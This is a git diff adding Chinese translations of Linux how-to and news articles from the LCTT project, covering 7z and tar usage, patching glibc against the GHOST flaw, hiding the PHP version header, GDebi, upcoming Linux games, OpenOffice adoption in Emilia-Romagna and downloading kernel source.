+ 7zr d archive-name.7z file-to-be-deleted + +![7zr d](http://blog.linoxide.com/wp-content/uploads/2015/01/7zr-d.png) + +*删除文件* + +![7zr l](http://blog.linoxide.com/wp-content/uploads/2015/01/7zr-d-l.png) + +*确认文件删除* + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/tools/linux-compress-decompress-tools/ + +作者:[B N Poornima][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/bnpoornima/ +[1]:http://www.gnu.org/software/tar/ +[2]:http://www.gzip.org/ +[3]:http://www.bzip.org/ +[4]:http://www.7-zip.org/ +[5]:https://wiki.archlinux.org/index.php/p7zip \ No newline at end of file diff --git a/published/201503/20150211 How To Protect Ubuntu Server Against the GHOST Vulnerability.md b/published/201503/20150211 How To Protect Ubuntu Server Against the GHOST Vulnerability.md new file mode 100644 index 0000000000..243c4212d0 --- /dev/null +++ b/published/201503/20150211 How To Protect Ubuntu Server Against the GHOST Vulnerability.md @@ -0,0 +1,44 @@ +如何让Ubuntu服务器远离鬼影漏洞影响 +================================================================================ +2015年1月27日,GNU C库(glibc)的一个漏洞也称鬼影漏洞被公诸于众。总的来说,这个漏洞允许远程攻击者利用glibc中的GetHOST函数的缓冲区溢出漏洞来获得系统的完全控制。点击[这里][1]获得更多细节。 + +鬼影漏洞可在版本在glibc-2.18之前的Linux系统上被利用。也就是说没有打过补丁的版本2.2到2.17都是有风险的。 + +### 检查系统漏洞 ### + +你可以使用下面的命令来检查glib的版本 + + ldd --version + +### 输出 ### + +ldd (Ubuntu GLIBC 2.19-10ubuntu2) **2.19** +Copyright (C) 2014 Free Software Foundation, Inc. +This is free software; see the source for copying conditions. There is NO +warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +Written by Roland McGrath and Ulrich Drepper. + +glib的版本应该高于2.17,我们的输出是2.19。如果你看到glib的版本在2.2到2.17之间。你应该运行下面的命令。 + + sudo apt-get update + + sudo apt-get dist-upgrade + +安装完之后,你应该用下面的命令重启系统。 + + sudo reboot + +重启完成之后,你可以用同样的命令来检查glib的版本。 + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/how-to-protect-ubuntu-server-against-the-ghost-vulnerability.html + +作者:[ruchi][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ubuntugeek.com/author/ubuntufix +[1]:http://chargen.matasano.com/chargen/2015/1/27/vulnerability-overview-ghost-cve-2015-0235.html diff --git a/published/201503/20150215 A Look At What Linux Games We Will See In 2015 And Beyond.md b/published/201503/20150215 A Look At What Linux Games We Will See In 2015 And Beyond.md new file mode 100644 index 0000000000..5def58511a --- /dev/null +++ b/published/201503/20150215 A Look At What Linux Games We Will See In 2015 And Beyond.md @@ -0,0 +1,158 @@ +Linux 游戏之 2015 动向 +================================================================================ +他们说Linux游戏开发已经死了,已经变得毫无意义…… 随他们说去吧。一起看看2015甚至以后会为我们带来什么Linux游戏。 + +真的很难跟得上扑面而来的各种形形色色的新事物,但是可以快速浏览一下我们将会看到的变化。 + +### 已确认的游戏 ### + +#### 冒险游戏 #### + +- [看火人(Firewatch)][1] +- [失落的天堂:初探(Paradise Lost: First Contact)][2] +- [时空英豪 1.1(Outcast 1.1)][42] +- [蒸汽世界:浩劫(SteamWorld Heist)][3] + +#### 动作游戏 #### + +- [暗黑血统(Darksiders)][4] +- [暗黑血统 2(Darksiders 2)][5] +- [尸人的世界(Ray's The Dead)][6] +- [骷髅女孩(Skullgirls)][7] + +#### 第一人称游戏 #### + +- [生化奇兵:永恒(Bioshock Infinite)][8] +- 半条命 3 /troll (Half Life 3 /troll)    +- [烽火家园:革命(Homefront: The Revolution)][9] +- [叛变(Insurgency)][43] +- [杀戮空间 2(Killing Floor 2)][10] +- 英雄萨姆 4(Serious Sam 4)(目前无官方站点) +- [联合风暴(Storm United)][11] +- [烈火击杀(SUPERHOT)][12] + +#### 平台游戏 #### + +- [武装原型(Broforce)][13] +- [峡谷(Chasm)][14] #此处游戏中文名尚不确定 +- [吉安娜姐妹(Giana Sisters)][15] +- [心之所向:Alicia(Heart Forth, Alicia)][16] +- [热铁皮屋顶(Hot Tin Roof)][17] +- [无限工厂(Infinifactory)][18] +- [无敌9号(Mighty No. 9)][19] +- [林中之夜(Night in the Woods)][20] +- [夜(Noct)][21] +- [奇异的世界:新鲜可口(Oddworld: New 'N' Tasty)][22] +- [真红女神(Red Goddess)][23] + +#### 赛车游戏 #### + +- [赛车计划(Project Cars)][44] +- [死亡赛车:再生(Carmageddon: Reincarnation)][45] + +#### 角色扮演游戏 #### + +- [神界:原罪(Divinity: Original Sin)][24] +- [永恒之柱(Pillars Of Eternity)][25] +- [暗影狂奔:香港(Shadowrun: Hong Kong)][26] +- [旗帜的传说(The Banner Saga)][27] +- [镇魂曲:遗器之潮(Torment: Tides of Numenera)][46] + +#### 策略游戏 #### + +- [奇迹时代3(Age of Wonders III)][28] +- [At The Gates][47] # 尚无中文名 +- [放逐之城(Banished)][29] +- [城:天际(Cities: Skylines)][30] +- [发条帝国(Clockwork Empires)][31] +- [Parkitect][32] # 尚无中文名 +- [卷轴(Scrolls)][33] +- [太空海盗和僵尸 2(Space Pirates And Zombies 2)][34] + +#### 沙盒游戏 #### + +- [泰拉瑞亚(Terraria)][35] +- [X 重生(X Rebirth)][36] + +#### 体育游戏 #### + +- [惊爆美国棒球16(Out of the Park Baseball 16)][48] + +### 不太确认,不过可能性高 ### + +- [英雄连 2(Company of Heroes 2)][37] +- [逃生(Outlast)][38] +- [影子武士(Shadow Warrior)][39] +- 无光之海 - 其开发商试验性地构建 Linux 版本,不过这要取决于他们的 Windows 版本的销售情况(据邮件沟通信息) +- [火炬之光 2(Torchlight II)][40] + +然而有[两个来自Feral Interactive的移植大作][49],由于不知道他们是什么,所以没有列举出来。 + +我们猜测Aspyr也在准备新的大制作,但是他们仅仅发布了他们最新的游戏,所以可能要等上几个月我们才能看到些什么。 + +当然,** 这不是完整的列表 **,我们会轻易忘记如此多的游戏正在走向我们,哇,如此丰富的列表。 + +我们也期待 GDC 2015 上有一些改变,然而,我们没有什么确切的东西,对于Valve与Steam Machines的合作,我们期待至少会增加一些Linux游戏,否则,如我们担心,炫耀一些过时的游戏会让Valve脸上无光。 + +希望我们没有错过那些 Linux 中让你感到兴奋的东西! + +-------------------------------------------------------------------------------- + +via: http://www.gamingonlinux.com/articles/a-look-at-what-linux-games-we-will-see-in-2015-and-beyond.4963 + +作者:[liamdawe][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.gamingonlinux.com/profiles/1 +[1]:https://www.gamingonlinux.com/articles/category/17/articles/firewatch-a-first-person-mystery-game-finally-reveals-itself-in-a-trailer.4231 +[2]:http://www.asthreeworks.com/games/ +[3]:https://www.gamingonlinux.com/articles/category/17/articles/image-form-announces-steamworld-heist.4304 +[4]:https://www.gamingonlinux.com/articles/darksiders-linux-port-looks-like-it-is-still-happening.4893 +[5]:https://www.gamingonlinux.com/articles/darksiders-2-confirmed-for-linux.4154 +[6]:http://ragtagstudio.com/?page_id=457 +[7]:https://www.gamingonlinux.com/articles/editorial-skullgirls-on-linux-finally-shows-some-progress.4789 +[8]:https://www.gamingonlinux.com/articles/bioshock-infinite-looks-set-for-a-linux-release-confirmed.4668 +[9]:http://www.homefront-game.com/ +[10]:https://www.gamingonlinux.com/articles/category/17/articles/killing-floor-2-fps-has-a-new-trailer.4676 +[11]:https://www.gamingonlinux.com/articles/storm-united-online-fps-shows-first-real-gameplay-video-first-alpha-due-soon.4872 +[12]:http://superhotgame.com/ +[13]:http://steamcommunity.com/app/274190/discussions/0/540738051503306548/#c540738051518330743 +[14]:https://www.gamingonlinux.com/articles/category/17/articles/chasm-rpg-platformer-will-have-a-same-day-linux-release.4266 +[15]:https://www.gamingonlinux.com/articles/linux-port-of-platformer-giana-sisters-brought-inhouse-sequel-might-get-sameday-release.4913 +[16]:http://www.alonsomartin.mx/hfa/ +[17]:http://www.hottinroofgame.com/ +[18]:https://twitter.com/zachtronics/status/566016742825005057 +[19]:http://www.mightyno9.com/ +[20]:http://www.nightinthewoods.com/ +[21]:https://www.gamingonlinux.com/articles/category/17/articles/noct-a-fantastic-top-down-thermal-image-survival-horror-game.4783 +[22]:https://www.gamingonlinux.com/articles/puzzle-platformer-oddworld-new-n-tasty-will-release-for-linux-next-month.4836 +[23]:https://www.gamingonlinux.com/articles/new-trailer-for-platformer-red-goddesss-looks-really-good.4939 +[24]:https://www.gamingonlinux.com/articles/divinity-original-sin-is-pushing-ahead-for-the-linux-release.4938 +[25]:https://www.gamingonlinux.com/articles/pillars-of-eternity-the-rpg-aims-for-a-sameday-linux-release-on-march-26th.4834 +[26]:https://www.kickstarter.com/projects/webeharebrained/shadowrun-hong-kong +[27]:https://www.gamingonlinux.com/articles/the-banner-saga-rpg-looks-close-to-a-linux-version.4862 +[28]:https://www.gamingonlinux.com/articles/the-linux-port-of-age-of-wonders-iii-is-progressing-a-bit-too-explosive-right-now.4857 +[29]:https://www.gamingonlinux.com/articles/banished-survival-city-building-sim-is-being-ported-to-linux.4813 +[30]:https://www.gamingonlinux.com/articles/city-builder-game-cities-skylines-now-has-a-release-date.4954 +[31]:https://www.gamingonlinux.com/articles/clockwork-empires-still-pushing-towards-a-linux-version-suffering-delays.4734 +[32]:https://www.gamingonlinux.com/articles/category/17/articles/parkitect-what-roller-coaster-tycoon-should-have-grown-into.4528 +[33]:https://www.gamingonlinux.com/articles/mojangs-scrolls-now-has-an-experimental-linux-build.4450 +[34]:https://www.gamingonlinux.com/articles/space-pirates-and-zombies-2-reveals-the-zombies-in-a-brand-new-video.4759 +[35]:https://www.gamingonlinux.com/articles/terraria-officially-confirmed-to-be-in-development-for-linux-finally.4299 +[36]:https://www.gamingonlinux.com/articles/egosofts-x-rebirth-actively-being-ported-to-linux.4822 +[37]:https://www.gamingonlinux.com/articles/company-of-heroes-2-looks-like-it-is-heading-to-linux.4199 +[38]:https://www.gamingonlinux.com/articles/outlast-that-really-scary-game-looks-like-its-still-heading-to-linux.4896 +[39]:https://www.gamingonlinux.com/articles/shadow-warrior-looks-like-it-will-come-to-linux.4859 +[40]:https://www.gamingonlinux.com/articles/torchlight-ii-has-even-more-positive-signs-for-linux.4817 +[41]:https://www.gamingonlinux.com/articles/feralinteractive.com/en/upcoming/ +[42]:https://www.gamingonlinux.com/articles/outcast-a-real-classic-has-been-revamped-and-linux-is-planned.4736 +[43]:https://www.gamingonlinux.com/articles/insurgency-fps-is-waiting-on-valve-so-it-can-come-to-linux-updated.4564 +[44]:http://projectcarsgame.com/ +[45]:https://www.gamingonlinux.com/articles/carmageddon-reincarnations-jason-garber-answers-our-questions-on-their-linux-support.3380 +[46]:https://www.gamingonlinux.com/articles/torment-tides-of-numenera-new-video-looks-absolutely-stunning.4320 +[47]:http://www.atthegatesgame.com/info +[48]:http://www.ootpdevelopments.com/newsletters/nl0154/ +[49]:http://feralinteractive.com/en/upcoming/ \ No newline at end of file diff --git a/published/201503/20150215 How To Make GDebi Default Instead of Ubuntu Software Center.md b/published/201503/20150215 How To Make GDebi Default Instead of Ubuntu Software Center.md new file mode 100644 index 0000000000..9e6499eb2b --- /dev/null +++ b/published/201503/20150215 How To Make GDebi Default Instead of Ubuntu Software Center.md @@ -0,0 +1,46 @@ +如何使 GDebi 默认代替 Ubuntu 软件中心 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/Make_GDebi_Default.jpeg) + +如果你使用 Ubuntu 或基于 Ubuntu 的 Linux 发行版本,比如Elementary OS Freya,也许你使用 Ubuntu 软件中心来安装 `.deb` 可执行文件。对于查找和安装应用,Ubuntu 软件中心是一个很好的应用,但它会消耗很多资源且运行速度缓慢。这就是为什么我更偏爱使用 [一个 Ubuntu 软件中心的轻量级替代品——App Grid][1] 的原因。 + +现在,假如你只是尝试安装一个 `.deb` 文件,我不会向你推荐 Ubuntu 软件中心或 App Grid ,我的建议为 GDebi,一个安装 Debian 可执行文件的专用程序。它极其轻量,且专注于安装 `.deb` 文件。GDebi 最有用的功能是它也可以为你展示出将要安装的程序的依赖。 + +在这篇文章中,我们将看一看 **如何安装 GDebi 以及使用它代替 Ubuntu 软件中心作为默认的安装器**。 + +### 在 Ubuntu 和其他 Linux 发行版本中安装 GDebi ### + +打开终端并使用下面的命令: + + sudo apt-get install gdebi + +### 使得 GDebi 成为默认的 `.deb`包安装器 ### + +一旦你安装了 GDebi,就是时候来看看如何使它成为安装 `.deb` 文件的默认应用了。请读者注意在这篇教程中我使用的是 Elementary OS Freya ,但下面的步骤对于所有基于 Ubuntu 的发行版本都是适用的。可能截屏显示会有点不同。 + +首先下载一个 `.deb`文件。例如你已经下载了一个 Google Chrome 的 `.deb`包。进入下载目录并右击该 `.deb`文件。在这里,接着选择 **属性**选项。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/GDebi_default.jpeg) + +在属性中,你应该可以看到 **打开方式** 选项。点击它并选择为 GDebi。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2015/02/GDebi_default_Ubuntu.jpeg) + +这样下次你双击一个 `.deb` 文件,便会自动打开 GDebi 来安装这个`.deb` 文件。使用这样轻量级的应用的确是一个[加速 Ubuntu][2] 或其他 Linux 系统的好方法。 + +你怎么看呢?对于安装应用,你仍然偏爱 Ubuntu 软件中心还是 GDebi 呢?如果你是一个守旧派,也许你更喜欢 [新立得软件包管理器(Synaptic Package Manager)][3]?那么,哪一个是你的最爱? + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/gdebi-default-ubuntu-software-center/ + +作者:[Abhishek][a] +译者:[FSSlc](https://github.com/FSSlc) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://itsfoss.com/app-grid-lighter-alternative-ubuntu-software-center/ +[2]:http://itsfoss.com/speed-up-ubuntu-1310/ +[3]:http://www.nongnu.org/synaptic/ diff --git a/published/201503/20150225 10 quick tar command examples to create or extract archives in Linux.md b/published/201503/20150225 10 quick tar command examples to create or extract archives in Linux.md new file mode 100644 index 0000000000..6d851ee0cc --- /dev/null +++ b/published/201503/20150225 10 quick tar command examples to create or extract archives in Linux.md @@ -0,0 +1,187 @@ +在linux中创建和解压文档的11个 tar 命令例子 +================================================================================ +### linux中的tar命令### + +tar(磁带归档)命令是linux系统中被经常用来将文件存入到一个归档文件中的命令。 + +其常见的文件扩展包括:.tar.gz 和 .tar.bz2, 分别表示通过了gzip或bzip算法进一步进行了压缩。 + +在本教程中我们会管中窥豹一下在linux桌面或服务器版本中使用tar命令来处理一些创建和解压归档文件的日常工作的例子。 + +### 使用tar命令### + +tar命令在大部分linux系统默认情况下都是可用的,所以你不用单独安装该软件。 + +> tar命令具有两个压缩格式,gzip和bzip,该命令的“z”选项用来指定gzip,“j”选项用来指定bzip。同时也可以创建非压缩归档文件。 + +#### 1.解压一个tar.gz归档 #### + +一般常见的用法是用来解压归档文件,下面的命令将会把文件从一个tar.gz归档文件中解压出来。 + + $ tar -xvzf tarfile.tar.gz + +这里对这些参数做一个简单解释- + +> x - 解压文件 + +> v - 冗长模式,在解压每个文件时打印出文件的名称。 + +> z - 该文件是一个使用 gzip 压缩的文件。 + +> f - 使用接下来的tar归档来进行操作。 + +这些就是一些需要记住的重要选项。 + +**解压 tar.bz2/bzip 归档文件** + +具有bz2扩展名的文件是使用bzip算法进行压缩的,但是tar命令也可以对其进行处理,但是需要通过使用“j”选项来替换“z”选项。 + + $ tar -xvjf archivefile.tar.bz2 + +#### 2.将文件解压到一个指定的目录或路径 #### + +为了将文件解压到一个指定的目录中,使用“-C”选项来指定路径,此处的“C”是大写“C”。 + + $ tar -xvzf abc.tar.gz -C /opt/folder/ + +然后,首先需要确认目标目录是否存在,毕竟tar命令并不会为你创建目录,所以如果目标目录不存在的情况下该命令会失败。 + +####3. 提取出单个文件 #### + +为了从一个归档文件中提取出单个文件,只需要将文件名按照以下方式将其放置在命令后面。 + + $ tar -xz -f abc.tar.gz "./new/abc.txt" + +在上述命令中,可以按照以下方式来指定多个文件。 + + $ tar -xz -f abc.tar.gz "./new/cde.txt" "./new/abc.txt" + +#### 4.使用通配符来解压多个文件 #### + +通配符可以用来解压于给定通配符匹配的一批文件,例如所有以".txt"作为扩展名的文件。 + + $ tar -xz -f abc.tar.gz --wildcards "*.txt" + +#### 5. 列出并检索tar归档文件中的内容 #### + +如果你仅仅想要列出而不是解压tar归档文件的中的内容,使用“-t”(test)选项, 下面的命令用来打印一个使用gzip压缩过的tar归档文件中的内容。 + + $ tar -tz -f abc.tar.gz + ./new/ + ./new/cde.txt + ./new/subdir/ + ./new/subdir/in.txt + ./new/abc.txt + ... + +可以将输出通过管道定向到grep来搜索一个文件,或者定向到less命令来浏览内容列表。 使用"v"冗长选项将会打印出每个文件的额外详细信息。 + +对于 tar.bz2/bzip文件,需要使用"j"选项。 + +结合上述的命令和grep命令来检索归档文件,如下所示。简单吧! + + $ tar -tvz -f abc.tar.gz | grep abc.txt + -rw-rw-r-- enlightened/enlightened 0 2015-01-13 11:40 ./new/abc.txt + +#### 6.创建一个tar/tar.gz归档文件 #### + +现在我们已经学过了如何解压一个tar归档文件,是时候开始创建一个新的tar归档文件了。tar命令可以用来将所选的文件或整个目录放入到一个归档文件中,以下是相应的样例。 + +下面的命令使用一个目录来创建一个tar归档文件,它会将该目录中所有的文件和子目录都加入到归档文件中。 + + $ tar -cvf abc.tar ./new/ + ./new/ + ./new/cde.txt + ./new/abc.txt + +上述命令不会创建一个压缩的的归档文件,只是一个普通的归档文件,只是将多个文件放入到一个归档文件中并没有真正地压缩每个文件。 + +为了使用压缩,可以分别使用“z”或“j”选项进行gzip或bzip压缩算法。 + + $ tar -cvzf abc.tar.gz ./new/ + +> 文件的扩展名其实并不真正有什么影响。“tar.gz” 和“tgz”是gzip压缩算法压缩文件的常见扩展名。 “tar.bz2”和“tbz”是bzip压缩算法压缩文件的常见扩展名(LCTT 译注:归档是否是压缩的和采用哪种压缩方式并不取决于其扩展名,扩展名只是为了便于辨识。)。 + +#### 7. 在添加文件之前进行确认 #### + +一个有用的选项是“w”,该选项使得tar命令在添加每个文件到归档文件之前来让用户进行确认,有时候这会很有用。 + +使用该选项时,只有用户输入“y”时的文件才会被加入到归档文件中,如果你不输入任何东西,其默认表示是一个“n”。 + + # 添加指定文件 + + $ tar -czw -f abc.tar.gz ./new/* + add ‘./new/abc.txt’?y + add ‘./new/cde.txt’?y + add ‘./new/newfile.txt’?n + add ‘./new/subdir’?y + add ‘./new/subdir/in.txt’?n + + #现在列出所有被加入的文件 + + $ tar -t -f abc.tar.gz + ./new/abc.txt + ./new/cde.txt + ./new/subdir/ + +#### 8. 加入文件到存在的归档文件中 #### + +“r”选项可以被用来将文件加入到已存在的归档文件中,而不用创建一个新的归档文件,下面是一个简单的样例: + + $ tar -rv -f abc.tar abc.txt + +> 文件并不能加入到已压缩的归档文件中(gz 或 bzip)。文件只能被加入到普通的归档文件中。 + +#### 9. 将文件加入到压缩的归档文件中(tar.gz/tar.bz2) #### + +之前已经提到了不可能将文件加入到已压缩的归档文件中,然而依然可以通过简单的一些把戏来完成。使用gunzip命令来解压缩归档文件,然后将文件加入到归档文件中后重新进行压缩。 + + $ gunzip archive.tar.gz + $ tar -rf archive.tar ./path/to/file + $ gzip archive.tar + +对于bzip文件分别使用bzip2和bunzip2。 + +#### 10.通过tar来进行备份 #### + +一个真实的场景是在固定的时间间隔内来备份目录,tar命令可以通过cron调度来实现这样的一个备份,以下是一个样例 : + + $ tar -cvz -f archive-$(date +%Y%m%d).tar.gz ./new/ + +使用cron来运行上述的命令会保持创建类似以下名称的备份文件 :'archive-20150218.tar.gz'。 + +当然,需要确保日益增长的归档文件不会导致磁盘空间的溢出。 + +#### 11. 在创建归档文件时进行验证 #### + +"W"选项可以用来在创建归档文件之后进行验证,以下是一个简单例子。 + + $ tar -cvW -f abc.tar ./new/ + ./new/ + ./new/cde.txt + ./new/subdir/ + ./new/subdir/in.txt + ./new/newfile.txt + ./new/abc.txt + Verify ./new/ + Verify ./new/cde.txt + Verify ./new/subdir/ + Verify ./new/subdir/in.txt + Verify ./new/newfile.txt + Verify ./new/abc.txt + +需要注意的是验证动作不能在压缩过的归档文件上进行,只能在非压缩的tar归档文件上执行。 + +这次就先到此为止,可以通过“man tar”命令来查看tar命令的的手册。 + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/linux-tar-command/ + +作者:[Silver Moon][a] +译者:[theo-l](https://github.com/theo-l) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117145272367995638274/posts diff --git a/published/201503/20150225 How to Hide PHP Version in Linux.md b/published/201503/20150225 How to Hide PHP Version in Linux.md new file mode 100644 index 0000000000..89dcdf4f75 --- /dev/null +++ b/published/201503/20150225 How to Hide PHP Version in Linux.md @@ -0,0 +1,58 @@ +如何在Linux服务器中隐藏PHP版本 +================================================================================ +通常,大多数默认设置安装的web服务器存在信息泄露,这其中之一就是PHP。PHP 是如今流行的服务端html嵌入式语言(之一?)。在如今这个充满挑战的时代,有许多攻击者会尝试发现你服务端的漏洞。因此,我会简单描述如何在Linux服务器中隐藏PHP信息。 + +默认上**expose_php**默认是开的。关闭“expose_php”参数可以使php隐藏它的版本信息。 + + [root@centos66 ~]# vi /etc/php.ini + +在你的php.ini, 定位到含有expose_php的那行把On设成Off: + + expose_php = Off + +在此之前,web服务器头看上去就像这样: + + [root@centos66 ~]# curl -I http://www.ehowstuff.com/ + +---------- + + HTTP/1.1 200 OK + Server: nginx + Content-Type: text/html; charset=UTF-8 + Vary: Accept-Encoding + X-Powered-By: PHP/5.3.3 + X-Pingback: http://www.ehowstuff.com/xmlrpc.php + Date: Wed, 11 Feb 2015 14:10:43 GMT + X-Page-Speed: 1.9.32.2-4321 + Cache-Control: max-age=0, no-cache + +更改并重启 Web 服务后,php就不会在web服务头中显示版本了: + +```[root@centos66 ~]# curl -I http://www.ehowstuff.com/ + +HTTP/1.1 200 OK +Server: nginx +Date: Wed, 11 Feb 2015 15:38:14 GMT +Content-Type: text/html; charset=UTF-8 +Vary: Accept-Encoding +X-Pingback: http://www.ehowstuff.com/xmlrpc.php +Date: Wed, 11 Feb 2015 14:10:43 GMT +X-Page-Speed: 1.9.32.2-4321 +Cache-Control: max-age=0, no-cache +``` + +LCTT译注:除了 PHP 的版本之外,Web 服务器也会默认泄露版本号。如果使用 Apache 服务器,请[参照此文章关闭Apache 版本显示][2];如果使用 Nginx 服务器,请在 http 段内加入`server_tokens off;` 配置。以上修改请记得重启相关服务。 + +-------------------------------------------------------------------------------- + +via: http://www.ehowstuff.com/how-to-hide-php-version-in-linux/ + +作者:[skytech][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ehowstuff.com/author/mhstar/ +[1]:http://www.ehowstuff.com/archives/ +[2]:http://linux.cn/article-3642-1.html \ No newline at end of file diff --git a/published/201503/20150225 Italian Region Emilia-Romagna Is Switching To OpenOffice.md b/published/201503/20150225 Italian Region Emilia-Romagna Is Switching To OpenOffice.md new file mode 100644 index 0000000000..4ebb83401f --- /dev/null +++ b/published/201503/20150225 Italian Region Emilia-Romagna Is Switching To OpenOffice.md @@ -0,0 +1,39 @@ +意大利艾米利亚-罗马涅大区正在切换到OpenOffice +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/08/Turin_Open_Source.jpg) + +在拥抱开源的道路上,意大利似乎走在了最前面。我们已经知道,很多意大利的城市如[乌迪内][1],[都灵][2],[Todi和都灵][3]过去已经选择了[开源办公套件以取代微软的Office][4]。现在,位于意大利北部的[艾米利亚-罗马涅大区][5](位于意大利北部,是意大利20个大区之一)也将在下个月完成向[Apache OpenOffice][6]的过渡。 + +### 切换到 OpenOffice ### + +这次向OpenOffice的迁移将会在下个月完成,而且将会覆盖4200个计算机工作站,涉及到10个部门和5个代理机构。 而且,开源文档格式(ODF)也将成为默认的文档格式。向OpenOffice的过渡最初在2013年底被提出来,原本打算在2014年底完成。这次从商业办公产品改用OpenOffice,从授权费用来说,据信会[节约大概2 000 000欧元][7]。 + +为了使这次顺利搬家和方便内部操作,负责这次搬家的团队正在开发许多定制工具和插件。 + +本次项目的负责人,Giovanni Grazia对本次“搬家”充满激情,但同时他也做好了应对批评的准备: + +> “改用新的办公套件并不是一件容易完成的工作,我们借这次机会来拥护免费和开源的软件。一些地区的公务员表示高度支持,而另一些则感到厌烦,因为他们已经使用商业产品二十年了。为了处理任何在迁移中发生的问题,一个有着三个IT专家的五人支持团队正在一个部门接一个部门,逐渐地完成这次迁移。” + +### 祝愿 ### + +我希望其他的国家也能使用OpenOffice套件,祝愿所有迁移到开源软件的人或国家都顺利完成。 + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/emiliaromagna-completes-switch-openoffice/ + +作者:[Abhishek][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://itsfoss.com/author/abhishek/ +[1]:http://linux.cn/article-3853-1.html +[2]:http://linux.cn/article-3602-1.html +[3]:http://itsfoss.com/italian-cities-switch-libreoffice/ +[4]:http://itsfoss.com/best-free-open-source-alternatives-microsoft-office/ +[5]:http://en.wikipedia.org/wiki/Emilia-Romagna +[6]:https://www.openoffice.org/ +[7]:http://www.slwoods.co.uk/?p=2886 +[8]:http://itsfoss.com/french-city-toulouse-saved-1-million-euro-libreoffice/ diff --git a/published/201503/20150225 Linux FAQs with Answers--How to install full kernel source on Debian or Ubuntu.md b/published/201503/20150225 Linux FAQs with Answers--How to install full kernel source on Debian or Ubuntu.md new file mode 100644 index 0000000000..3c0f4ec412 --- /dev/null +++ b/published/201503/20150225 Linux FAQs with Answers--How to install full kernel source on Debian or Ubuntu.md @@ -0,0 +1,58 @@ +Linux有问必答:如何在Debian或Ubuntu上安装完整的内核源码 +================================================================================ +> **问题**:我需要为我的Debian或Ubuntu下载并安装完整树结构的内核源码以供编译一个定制的内核。那么在Debian或Ubuntu上有什么可行的方法来下载完整的内核源码呢? + +在给你的Linux安装完整内核源码之前,先问问自己是否真的需要这样做。如果你仅仅是尝试去编译一个内核模块或是为内核定制驱动,你并不需要完整的内核源码树。你只需要安装[一些与内核对应的头文件][1],这样就足够了。 + +只有在你需要生成一个定制的内核,而且内核源码中的一些内核默认设置要被你调整了的情况下,你才需要完整的内核源码树。 + +这里将会解答如何**在Debian或Ubuntu的库中下载并安装完整树结构的内核源码**。你可以在[https://www.kernel.org/pub/linux/kernel/][2]下载官方的内核源码,不过使用发行版软件仓库可以允许你下载包含补丁的内核源码。 + +### 在Debian上安装完整的内核源码 ### + +在下载内核源码之前,先安装dpkg-dev,其中包含你在Debian上生成源代码时需要的开发工具套件。不仅如此,dpkg-dev中还包含在用来解压Debian源码包并自动打补丁的工具dpgk-source。 + + $ sudo apt-get install dpkg-dev + +然后,运行以下命令下载完整的内核源码。 + + $ apt-get source linux-image-$(uname -r) + +伴随着完整内核源码(linux_X.X.XX.orig.tar.xz)的还有一些可用的内核补丁(linux_X.X.X+XXX.debian.tar.xz)和源码控制文件(linux_XXXX.dsc),这些都将被下载并存储到当前目录。在.dsc文件中会指出如何给内核源码打补丁。 + +当下载完成,以上的命令将会自动调用工具dpkg-source将下载的内核源码解压到当前的目录中,与此同时根据.dsc文件来下补丁。 + +最终完整的内核源码树将会以"linux-X.X.XX"的形式呈现在当前目录中。 + +![](https://farm9.staticflickr.com/8676/16341110300_b4f059eeb0_b.jpg) + +### 在Ubuntu上安装完整内核源码 ### + +如果你想安装完整内核源码的话,以上在Debian上的那一套做法在Ubuntu上仍然奏效。 + +在Ubuntu上还有另一套方法安装完整内核源码。事实上,你可以查一下由Canonical为Ubuntu不同发行版维护的内核源码树。 + + $ sudo apt-get install git + $ git clone git://kernel.ubuntu.com/ubuntu/ubuntu-$(lsb_release --codename | cut -f2).git + +举个例子,如果你使用的是Ubuntu 14.04,以上的命令将会查看Git的"ubuntu-trusty"仓库中的代码。 + +![](https://farm9.staticflickr.com/8642/16526856391_de636ff9b8_c.jpg) + +一旦在你对Git仓库的查询结束后,使用以下的命令来安装用来访问生成内核源码树所需依赖的重要开发包。 + + $ sudo apt-get build-dep linux-image-$(uname -r) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/install-full-kernel-source-debian-ubuntu.html + +作者:[Dan Nanni][a] +译者:[martin qi](https://github.com/martin2011qi) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://ask.xmodulo.com/author/nanni 